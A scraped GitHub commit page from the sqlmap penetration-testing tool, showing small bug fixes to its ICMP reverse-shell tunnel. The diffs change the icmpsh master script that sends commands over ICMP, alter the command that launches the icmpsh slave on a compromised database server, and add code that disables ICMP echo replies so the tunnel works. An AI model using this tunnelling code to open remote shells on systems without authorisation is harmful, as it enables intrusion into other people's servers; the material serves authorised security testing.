Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 56c16cb

Browse files
committed
Minor bug fixes and enhancements to ICMPsh tunnel
1 parent 26cf6c2 commit 56c16cb

3 files changed

Lines changed: 22 additions & 7 deletions

File tree

extra/icmpsh/icmpsh_m.py

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -85,7 +85,7 @@ def main(src, dst):
8585
data = icmppacket.get_data_as_string()
8686

8787
if len(data) > 0:
88-
print data
88+
sys.stdout.write(data)
8989

9090
# Parse command from standard input
9191
try:
@@ -94,9 +94,7 @@ def main(src, dst):
9494
pass
9595

9696
if cmd == 'exit':
97-
break
98-
99-
cmd += '\n'
97+
return
10098

10199
# Set sequence number and identifier
102100
icmp.set_icmp_id(ident)
@@ -116,7 +114,7 @@ def main(src, dst):
116114
sock.sendto(ip.get_packet(), (dst, 0))
117115

118116
if __name__ == '__main__':
119-
if len(sys.argv) < 2:
117+
if len(sys.argv) < 3:
120118
print 'missing mandatory options. Execute as root:'
121119
print './icmpsh-m.py <source IP address> <destination IP address>'
122120
sys.exit(1)

lib/takeover/icmpsh.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -81,7 +81,7 @@ def __runIcmpshSlaveRemote(self):
8181
infoMsg = "running icmpsh slave remotely"
8282
logger.info(infoMsg)
8383

84-
self.__icmpshSlaveCmd = "%s -t %s" % (self.__icmpslaveRemote, self.lhostStr)
84+
self.__icmpshSlaveCmd = "%s -t %s -d 500 -b 30 -s 128" % (self.__icmpslaveRemote, self.lhostStr)
8585

8686
cmd = "%s &" % self.__icmpshSlaveCmd
8787

plugins/generic/takeover.py

Lines changed: 18 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,8 @@
77
See the file 'doc/COPYING' for copying permission
88
"""
99

10+
import os
11+
1012
from lib.core.common import readInput
1113
from lib.core.common import runningAsAdmin
1214
from lib.core.data import conf
@@ -109,7 +111,7 @@ def osPwn(self):
109111
warnMsg = "invalid value, valid values are 1 and 2"
110112
logger.warn(warnMsg)
111113

112-
if tunnel == 2 and kb.dbms != "Windows":
114+
if tunnel == 2 and kb.os != "Windows":
113115
errMsg = "icmpsh slave is only supported on Windows at "
114116
errMsg += "the moment. The back-end database server is "
115117
errMsg += "not. sqlmap will fallback to TCP (Metasploit)"
@@ -136,6 +138,21 @@ def osPwn(self):
136138
errMsg += "http://oss.coresecurity.com/projects/impacket.html"
137139
raise sqlmapMissingDependence, errMsg
138140

141+
sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
142+
143+
if os.path.exists(sysIgnoreIcmp):
144+
fp = open(sysIgnoreIcmp, "wb")
145+
fp.write("1")
146+
fp.close()
147+
else:
148+
errMsg = "you need to disable ICMP replies by your machine "
149+
errMsg += "system-wide. For example run on Linux/Unix:\n"
150+
errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
151+
errMsg += "If you miss doing that, you will receive "
152+
errMsg += "information from the database server and it "
153+
errMsg += "is unlikely to receive commands send from you"
154+
logger.error(errMsg)
155+
139156
if kb.stackedTest or conf.direct:
140157
web = False
141158

0 commit comments

Comments
 (0)